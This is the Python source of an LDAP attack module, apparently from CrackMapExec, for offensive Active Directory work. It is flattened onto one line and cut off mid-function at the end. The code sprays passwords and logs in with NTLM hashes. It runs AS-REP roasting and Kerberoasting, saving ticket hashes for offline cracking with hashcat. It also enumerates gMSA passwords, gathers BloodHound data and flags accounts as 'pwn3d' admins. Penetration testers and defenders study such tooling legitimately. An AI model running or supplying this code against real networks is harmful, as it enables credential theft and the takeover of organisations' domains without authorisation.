#!/usr/bin/env python3 # -*- coding: utf-8 -*- # from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py # https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf import logging import hmac from cme.connection import * from cme.helpers.logger import highlight from cme.logger import CMEAdapter from cme.helpers.bloodhound import add_user_bh from cme.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from cme.protocols.ldap.kerberos import KerberosAttacks from cme.protocols.ldap.bloodhound import BloodHound from impacket.smbconnection import SMBConnection, SessionError from impacket.smb import SMB_DIALECT from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import KerberosTime, Principal, KerberosException from impacket.ldap import ldap as ldap_impacket from impacket.krb5 import constants from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR from bloodhound.ad.domain import AD from bloodhound.ad.authentication import ADAuthentication from argparse import _StoreTrueAction from binascii import b2a_hex, unhexlify, hexlify from Cryptodome.Hash import MD4 from io import StringIO from pywerview.cli.helpers import * from re import sub, I from zipfile import ZipFile ldap_error_status = { "1":"STATUS_NOT_SUPPORTED", "533":"STATUS_ACCOUNT_DISABLED", "701":"STATUS_ACCOUNT_EXPIRED", "531":"STATUS_ACCOUNT_RESTRICTION", "530":"STATUS_INVALID_LOGON_HOURS", "532":"STATUS_PASSWORD_EXPIRED", "773":"STATUS_PASSWORD_MUST_CHANGE", "775":"USER_ACCOUNT_LOCKED", "50":"LDAP_INSUFFICIENT_ACCESS", "KDC_ERR_CLIENT_REVOKED":"KDC_ERR_CLIENT_REVOKED", "KDC_ERR_PREAUTH_FAILED":"KDC_ERR_PREAUTH_FAILED" } def resolve_collection_methods(methods): """ Convert methods (string) to list of validated methods to resolve """ valid_methods = ['group', 'localadmin', 'session', 'trusts', 'default', 'all', 'loggedon', 'objectprops', 'experimental', 'acl', 'dcom', 'rdp', 'psremote', 'dconly', 'container'] default_methods = ['group', 'localadmin', 'session', 'trusts'] # Similar to SharpHound, All is not really all, it excludes loggedon all_methods = ['group', 'localadmin', 'session', 'trusts', 'objectprops', 'acl', 'dcom', 'rdp', 'psremote', 'container'] # DC only, does not collect to computers dconly_methods = ['group', 'trusts', 'objectprops', 'acl', 'container'] if ',' in methods: method_list = [method.lower() for method in methods.split(',')] validated_methods = [] for method in method_list: if method not in valid_methods: logging.error('Invalid collection method specified: %s', method) return False if method == 'default': validated_methods += default_methods elif method == 'all': validated_methods += all_methods elif method == 'dconly': validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: validated_methods = [] # It is only one method = methods.lower() if method in valid_methods: if method == 'default': validated_methods += default_methods elif method == 'all': validated_methods += all_methods elif method == 'dconly': validated_methods += dconly_methods else: validated_methods.append(method) return set(validated_methods) else: logging.error('Invalid collection method specified: %s', method) return False def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): x = kwargs.pop('make_required', []) super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True super(ConditionalAction, self).__call__(parser, namespace, values, option_string) return ConditionalAction class ldap(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.ldapConnection = None self.lmhash = '' self.nthash = '' self.baseDN = '' self.target = '' self.targetDomain = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name self.admin_privs = False self.no_ntlm = False self.sid_domain = "" connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser]) ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)") no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection') dgroup = ldap_parser.add_mutually_exclusive_group() domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') no_smb_arg.make_required = [domain_arg] egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos") egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat") egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat') vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD") vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1") vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users") vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa") ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords") ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") bgroup = ldap_parser.add_argument_group("Bloodhound scan", "Options to play with bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform bloodhound scan") bgroup.add_argument("-ns", '--nameserver', help="Custom DNS IP") bgroup.add_argument("-c", "--collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default)'") return parser def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': "SMB", 'host': self.host, 'port': "445", 'hostname': self.hostname }) def get_ldap_info(self, host): try: proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % host) resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue target = None targetDomain = None baseDN = None try: for attribute in item['attributes']: if str(attribute['type']) == 'defaultNamingContext': baseDN = str(attribute['vals'][0]) targetDomain = sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=I)[3:] if str(attribute['type']) == 'dnsHostName': target = str(attribute['vals'][0]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) except OSError as e: return [None, None, None] return [target, targetDomain, baseDN] def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0 def get_ldap_username(self): extendedRequest = ldapasn1_impacket.ExtendedRequest() extendedRequest['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami response = self.ldapConnection.sendReceive(extendedRequest) for message in response: searchResult = message['protocolOp'].getComponent() if searchResult['resultCode'] == ldapasn1_impacket.ResultCode('success'): responseValue = searchResult['responseValue'] if responseValue.hasValue(): value = responseValue.asOctets().decode(responseValue.encoding)[2:] return value.split('\\')[1] return '' def enum_host_info(self): self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) self.hostname = self.target self.domain = self.targetDomain # smb no open, specify the domain if self.args.no_smb: self.domain = self.args.domain else: self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('' , '') except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): self.no_ntlm = True pass if not self.no_ntlm: self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.os_arch = self.get_os_arch() if not self.domain: self.domain = self.hostname try: '''plaintext_login DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname #Re-connect since we logged off self.create_conn_obj() self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) self.output_filename = self.output_filename.replace(":", "-") def print_host_info(self): if self.args.no_smb: self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" self.logger.info(u"Connecting to LDAP {}".format(self.hostname)) #self.logger.info(self.endpoint) else: self.logger.extra['protocol'] = "SMB" if not self.no_ntlm else "LDAP" self.logger.extra['port'] = "445" if not self.no_ntlm else "389" self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1)) self.logger.extra['protocol'] = "LDAP" #self.logger.info(self.endpoint) return True def kerberos_login(self, domain, username, password = '', ntlm_hash = '', aesKey = '', kdcHost = '', useCache = False): logging.getLogger("impacket").disabled = True self.username = username self.password = password self.domain = domain self.kdcHost = kdcHost self.aesKey = aesKey lmhash = '' nthash = '' self.username = username #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') self.hash = nthash else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False if not all('' == s for s in [self.nthash, password, aesKey]): kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) else: kerb_pass = '' try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == '': self.username = self.get_ldap_username() self.check_if_admin() out = u'{}\\{}{} {}'.format(domain, self.username, # Show what was used between cleartext, nthash, aesKey and ccache " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except SessionKeyDecryptionError: # for PRE-AUTH account self.logger.error(u'{}\\{}{} {}'.format(domain, self.username, " account vulnerable to asreproast attack", ""), color='yellow') return False except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(error)), color='magenta' if error in ldap_error_status else 'red') return False except (KeyError, KerberosException, OSError) as e: self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(e)), color='red') return False except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: # Connect to LDAPS self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == '': self.username = self.get_ldap_username() self.check_if_admin() # Prepare success credential text out = u'{}\\{}{} {}'.format(domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) if self.username == '': self.username = self.get_ldap_username() self.check_if_admin() # Prepare success credential text out = u'{}\\{} {}'.format(domain, self.username, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') return False except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), str(error)), color='magenta' if error in ldap_error_status else 'red') return False else: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}{} {}'.format(self.domain, self.username, " from ccache" if useCache else ":%s" % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8), ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if errorCode in ldap_error_status else 'red') return False def plaintext_login(self, domain, username, password): self.username = username self.password = password self.domain = domain if self.password == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format(domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL try: # Connect to LDAPS self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format(domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') else: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') return False except OSError as e: self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, "Error connecting to the domain, are you sure LDAP service is running on the target ?")) return False def hash_login(self, domain, username, ntlm_hash): self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "389" lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain if self.hash == '' and self.args.asreproast: hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username) if hash_TGT: self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return False try: # Connect to LDAP proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % self.target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format(domain, self.username, self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAP" self.logger.extra['port'] = "636" if (self.args.gmsa or self.args.port == 636) else "389" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: try: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % self.target, self.baseDN) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() # Prepare success credential text out = u'{}\\{}:{} {}'.format(domain, self.username, self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.extra['protocol'] = "LDAPS" self.logger.extra['port'] = "636" self.logger.success(out) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except ldap_impacket.LDAPSessionError as e: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') else: errorCode = str(e).split()[-2][:-1] self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, ldap_error_status[errorCode] if errorCode in ldap_error_status else ''), color='magenta' if (errorCode in ldap_error_status and errorCode != 1) else 'red') return False except OSError as e: self.logger.error(u'{}\\{}:{} {}'.format(self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8, "Error connecting to the domain, are you sure LDAP service is running on the target ?")) return False def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) self.smbv1 = True except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug('SMBv1 might be disabled on {}'.format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) return False return True def create_smbv3_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, 445) self.smbv1 = False except socket.error: return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) return False return True def create_conn_obj(self): if not self.args.no_smb: if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False else: return True def get_sid(self): self.logger.highlight('Domain SID {}'.format(self.sid_domain)) def sid_to_str(self, sid): try: # revision revision = int(sid[0]) # count of sub authorities sub_authorities = int(sid[1]) # big endian identifier_authority = int.from_bytes(sid[2:8], byteorder='big') # If true then it is represented in hex if identifier_authority >= 2 ** 32: identifier_authority = hex(identifier_authority) # loop over the count of small endians sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)]) objectSid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority return objectSid except Exception: pass return sid def check_if_admin(self): # 1. get SID of the domaine searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)" attributes= ["objectSid"] resp = self.search(searchFilter, attributes, sizeLimit=0) answers = [] if resp and self.password != '' and self.username != '': for attribute in resp[0][1]: if str(attribute['type']) == 'objectSid': sid = self.sid_to_str(attribute['vals'][0]) self.sid_domain = '-'.join(sid.split('-')[:-1]) # 2. get all group cn name searchFilter = "(|(objectSid="+self.sid_domain+"-512)(objectSid="+self.sid_domain+"-544)(objectSid="+self.sid_domain+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))" attributes= ["distinguishedName"] resp = self.search(searchFilter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue for attribute in item['attributes']: if str(attribute['type']) == 'distinguishedName': answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")")) # 3. get memeber of these groups searchFilter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))" attributes= [""] resp = self.search(searchFilter, attributes, sizeLimit=0) answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue if item: self.admin_privs = True def getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def search(self, searchFilter, attributes, sizeLimit=0): try: if self.ldapConnection: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit) return resp except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: self.logger.error('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: self.logger.error(e) return False return False def users(self): # Building the search filter searchFilter = "(sAMAccountType=805306368)" attributes= ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet'] resp = self.search(searchFilter, attributes, sizeLimit=0) if resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue sAMAccountName = '' badPasswordTime = '' badPwdCount = 0 description = '' pwdLastSet = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) elif str(attribute['type']) == 'description': description = str(attribute['vals'][0]) self.logger.highlight('{:<30} {}'.format(sAMAccountName, description)) except Exception as e: self.logger.debug('Skipping item, cannot process due to error %s' % str(e)) pass return def groups(self): # Building the search filter searchFilter = "(objectCategory=group)" attributes=['name'] resp = self.search(searchFilter, attributes, 0) if resp: answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue name = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'name': name = str(attribute['vals'][0]) self.logger.highlight('{}'.format(name)) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass return def asreproast(self): if self.password == '' and self.nthash == '' and self.kerberos == False: return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) if resp == []: self.logger.highlight("No entries found!") elif resp: answers = [] self.logger.info('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.highlight("No entries found!") return else: self.logger.error("Error with the LDAP account used") def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'] resp = self.search(searchFilter, attributes, 0) if resp == []: self.logger.highlight("No entries found!") elif resp: answers = [] for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.logger.info('Total of records returned %d' % len(answers)) TGT = KerberosAttacks(self).getTGT_kerberoasting() dejavue = [] for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers: if sAMAccountName not in dejavue: downLevelLogonName = self.targetDomain + "\\" + sAMAccountName try: principalName = Principal() principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value principalName.components = [downLevelLogonName] tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.targetDomain + "/" + sAMAccountName) self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon)) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') dejavue.append(sAMAccountName) except Exception as e: logging.debug("Exception:", 